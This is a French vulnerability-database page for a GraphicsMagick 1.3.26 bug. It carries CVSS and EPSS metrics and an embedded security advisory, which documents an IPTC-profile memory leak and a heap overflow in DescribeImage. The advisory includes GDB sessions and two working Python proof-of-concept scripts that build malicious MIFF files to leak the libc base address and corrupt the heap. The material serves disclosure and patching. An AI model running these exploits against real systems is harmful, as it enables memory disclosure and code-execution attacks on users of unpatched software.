Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.0 |
8.8 |
HIGH |
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers). Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 43111
Date de publication : 2017-11-02 23h00 +00:00
Auteur : SecuriTeam
EDB Vérifié : No
'''Vulnerabilities summary
The following advisory describes two (2) vulnerabilities found in GraphicsMagick.
GraphicsMagick is “The swiss army knife of image processing. Comprised of 267K physical lines (according to David A. Wheeler’s SLOCCount) of source code in the base package (or 1,225K including 3rd party libraries) it provides a robust and efficient collection of tools and libraries which support reading, writing, and manipulating an image in over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF.”
The vulnerabilities found are:
Memory Information Disclosure
Heap Overflow
Credit
An independent security researchers, Jeremy Heng (@nn_amon) and Terry Chia (Ayrx), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
The vendor has released patches to address these vulnerabilities (15237:e4e1c2a581d8 and 15238:7292230dd18).
For more details: ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/snapshots/ChangeLog.txt
Vulnerabilities details
Memory Information Disclosure
GraphicsMagick is vulnerable to a memory information disclosure vulnerability found in DescribeImage function of the magick/describe.c file.
The portion of the code containing the vulnerability responsible of printing the IPTC Profile information contained in the image.
This vulnerability can be triggered with a specially crafted MIFF file.
The code which triggers the vulnerable code path is:
63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file,
64 const MagickBool verbose)
65 {
...
660 for (i=0; i < profile_length; )
661 {
662 if (profile[i] != 0x1c)
663 {
664 i++;
665 continue;
666 }
667 i++; /* skip file separator */
668 i++; /* skip record number */
...
725 i++;
726 (void) fprintf(file," %.1024s:\n",tag);
727 length=profile[i++] << 8;
728 length|=profile[i++];
729 text=MagickAllocateMemory(char *,length+1);
730 if (text != (char *) NULL)
731 {
732 char
733 **textlist;
734
735 register unsigned long
736 j;
737
738 (void) strncpy(text,(char *) profile+i,length);
739 text[length]='\0';
740 textlist=StringToList(text);
741 if (textlist != (char **) NULL)
742 {
743 for (j=0; textlist[j] != (char *) NULL; j++)
744 {
745 (void) fprintf(file," %s\n",textlist[j]);
...
752 i+=length;
753 }
The value in profile_length variable is set in the following field in the MIFF header: profile-iptc=8
There is an out-of-bounds buffer dereference whenever profile[i] is accessed because the increments of i is never checked.
If we break on line 738 of describe.c, we can explore what is present on the heap during the strncpy operation.
gef➤ x/2xg profile
0x8be210: 0x08000a001c414141 0x00007ffff690fba8
The 8 bytes 0x08000a001c414141 is the profile payload present in the specially crafted MIFF file.
41 41 41 - padding
1C - sentinel check in line 662
00 - padding
0A - "Priority" tag
08 00 - 8 in big endian, the length
If we examine the value 0x00007ffff690fba8 adjacent to the payload, it becomes apparent that it is an address within the main_arena struct in libc.
gef➤ x/xw 0x00007ffff690fba8
0x7ffff690fba8 <main_arena+136>: 0x008cdc40
gef➤ vmmap libc
Start End Offset Perm Path
0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 ---
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r--
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw-
/lib/x86_64-linux-gnu/libc-2.23.so
Now we can calculate the offset to libc base – 0x3c4b98
Proof of Concept
$ python miff/readexploit.py
[+] Starting local process ‘/usr/bin/gm’: pid 20019
[+] Receiving all data: Done (1.27KB)
[*] Process ‘/usr/bin/gm’ stopped with exit code 0 (pid 20019)
[*] Main Arena Leak: 0x7f72948adb98
[*] libc Base: 0x7f72944e9000
#!/usr/bin/python
# GraphicsMagick IPTC Profile libc Leak
from pwn import *
directory = "DIR"
partitions = ('id=ImageMagick version=1.0\nclass=DirectClass matte=False\n' +
'columns=1 rows=1 depth=16\nscene=1\nmontage=1x1+0+0\nprofil' +
'e-iptc=',
'\n\x0c\n:\x1a',
'\n\x00',
'\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "readexploit.miff"
length = 8
#libc_main_arena_entry_offset = 0x3c4ba8
libc_main_arena_entry_offset = 0x3c4b98
def main():
data = "AAA" + "\x1c" + "\x00" + chr(10) + p16(0x8, endian="big")
header = partitions[0] + str(length) + partitions[1]
payload = header + directory + partitions[2] + data + partitions[3]
file(output, "w").write(payload)
p = process(executable="gm", argv=["identify", "-verbose", output])
output_leak = p.recvall()
priority_offset = output_leak.index("Priority:") + 12
montage_offset = output_leak.index("Montage:") - 3
leak = output_leak[priority_offset:montage_offset]
if "0x00000000" in leak:
log.info("Unlucky run. Value corrupted by StringToList")
exit()
main_arena_leak = u64(leak.ljust(8, "\x00"))
log.info("Main Arena Leak: 0x%x" % main_arena_leak)
libc_base = main_arena_leak - libc_main_arena_entry_offset
log.info("libc Base: 0x%x" % libc_base)
if __name__ == "__main__":
main()
Heap Overflow
GraphicsMagick is vulnerable to a heap overflow vulnerability found in DescribeImage() function of the magick/describe.c file.
The call to strncpy on line 855 does not limit the size to be copied to the size of the buffer copied to. Instead, the size is calculated by searching for a newline or a null byte in the directory name.
844 /*
845 Display visual image directory.
846 */
847 image_info=CloneImageInfo((ImageInfo *) NULL);
848 (void) CloneString(&image_info->size,"64x64");
849 (void) fprintf(file," Directory:\n");
850 for (p=image->directory; *p != '\0'; p++)
851 {
852 q=p;
853 while ((*q != '\n') && (*q != '\0'))
854 q++;
855 (void) strncpy(image_info->filename,p,q-p);
856 image_info->filename[q-p]='\0';
857 p=q;
...
880 }
881 DestroyImageInfo(image_info);
Since the field filename in the ImageInfo struct has the static size of 2053, the heap can be corrupted by forging an overly long directory name.
type = struct _ImageInfo {
...
FILE *file;
char magick[2053];
char filename[2053];
_CacheInfoPtr_ cache;
void *definitions;
Image *attributes;
unsigned int ping;
PreviewType preview_type;
unsigned int affirm;
_BlobInfoPtr_ blob;
size_t length;
char unique[2053];
char zero[2053];
unsigned long signature;
}
One possible way to trigger the vulnerability is to run the identify command on a specially crafted MIFF format file with the verbose flag.
Proof of Concept
The following proof of concept script will generate a specially crafted MIFF file exploit.miff.
'''
#!/usr/bin/python
from pwn import *
partitions = ('id=ImageMagick version=1.0\nclass=DirectClass matte=False\n' +
'columns=1 rows=1 depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' +
':\x1a',
'\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "exploit.miff"
def main():
payload = "A"*10000
payload = partitions[0] + payload + partitions[1]
file(output, "w").write(payload)
if __name__ == "__main__":
main()
'''
Running the GraphicsMagick gm utility with the arguments identify -verbose in GDB and breaking after the vulnerable strncpy call, and examining the corrupted ImageInfo object demonstrates that the heap corruption was successful.
gef➤ r identify -verbose exploit.miff
...
gef➤ br describe.c:856
Breakpoint 1 at 0x4571df: file magick/describe.c, line 856.
...
gef➤ p *image_info
$3 = {
...
compression = UndefinedCompression,
file = 0x0,
magick = '\000' <repeats 2052 times>,
filename = 'A' <repeats 2053 times>,
cache = 0x4141414141414141,
definitions = 0x4141414141414141,
attributes = 0x4141414141414141,
ping = 0x41414141,
preview_type = 1094795585,
affirm = 0x41414141,
blob = 0x4141414141414141,
length = 0x4141414141414141,
unique = 'A' <repeats 2053 times>,
zero = 'A' <repeats 2053 times>,
signature = 0x4141414141414141
}
'''
Products Mentioned
Configuraton 0
Graphicsmagick>>Graphicsmagick >> Version 1.3.26
Configuraton 0
Debian>>Debian_linux >> Version 7.0
Debian>>Debian_linux >> Version 8.0
Debian>>Debian_linux >> Version 9.0
Références
